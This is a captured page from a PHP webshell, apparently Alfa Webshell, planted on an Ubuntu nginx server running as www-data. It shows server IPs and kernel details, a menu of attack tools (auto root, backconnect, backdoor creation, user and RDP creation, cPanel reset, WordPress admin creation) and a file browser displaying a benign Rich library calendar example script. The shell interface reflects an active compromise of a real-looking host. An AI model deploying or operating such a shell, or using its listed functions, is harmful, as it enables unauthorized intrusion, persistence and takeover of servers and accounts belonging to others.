Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-rich /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
README.md
264
B
-rw-r--r--
attrs.py
1.01
KB
-rw-r--r--
bars.py
417
B
-rw-r--r--
columns.py
748
B
-rw-r--r--
cp_progress.py
571
B
-rw-r--r--
downloader.py
2.21
KB
-rw-r--r--
dynamic_progress.py
3.93
KB
-rw-r--r--
exception.py
919
B
-rw-r--r--
export.py
1.65
KB
-rw-r--r--
file_progress.py
423
B
-rw-r--r--
fullscreen.py
5.36
KB
-rw-r--r--
group.py
206
B
-rw-r--r--
group2.py
224
B
-rw-r--r--
highlighter.py
525
B
-rw-r--r--
jobs.py
957
B
-rw-r--r--
justify.py
349
B
-rw-r--r--
justify2.py
426
B
-rw-r--r--
layout.py
1.09
KB
-rw-r--r--
link.py
192
B
-rw-r--r--
listdir.py
1011
B
-rw-r--r--
live_progress.py
1.34
KB
-rw-r--r--
log.py
1.9
KB
-rw-r--r--
overflow.py
370
B
-rw-r--r--
padding.py
132
B
-rw-r--r--
print_calendar.py
1.87
KB
-rw-r--r--
rainbow.py
441
B
-rw-r--r--
recursive_error.py
324
B
-rw-r--r--
repr.py
589
B
-rw-r--r--
save_table_svg.py
846
B
-rw-r--r--
screen.py
357
B
-rw-r--r--
spinners.py
533
B
-rw-r--r--
status.py
307
B
-rw-r--r--
suppress.py
489
B
-rw-r--r--
table.py
693
B
-rw-r--r--
table_movie.py
4.46
KB
-rw-r--r--
top_lite_simulator.py
2.11
KB
-rw-r--r--
tree.py
1.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : print_calendar.py
""" Builds calendar layout using Columns and Tables. Usage: python print_calendar.py [YEAR] Example: python print_calendar.py 2021 """ import argparse import calendar from datetime import datetime from rich.align import Align from rich import box from rich.columns import Columns from rich.console import Console from rich.table import Table from rich.text import Text def print_calendar(year): """Print a calendar for a given year.""" today = datetime.today() year = int(year) cal = calendar.Calendar() today_tuple = today.day, today.month, today.year tables = [] for month in range(1, 13): table = Table( title=f"{calendar.month_name[month]} {year}", style="green", box=box.SIMPLE_HEAVY, padding=0, ) for week_day in cal.iterweekdays(): table.add_column( "{:.3}".format(calendar.day_name[week_day]), justify="right" ) month_days = cal.monthdayscalendar(year, month) for weekdays in month_days: days = [] for index, day in enumerate(weekdays): day_label = Text(str(day or ""), style="magenta") if index in (5, 6): day_label.stylize("blue") if day and (day, month, year) == today_tuple: day_label.stylize("white on dark_red") days.append(day_label) table.add_row(*days) tables.append(Align.center(table)) console = Console() columns = Columns(tables, padding=1, expand=True) console.rule(str(year)) console.print() console.print(columns) console.rule(str(year)) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Rich calendar") parser.add_argument("year", metavar="year", type=int) args = parser.parse_args() print_calendar(args.year)
Close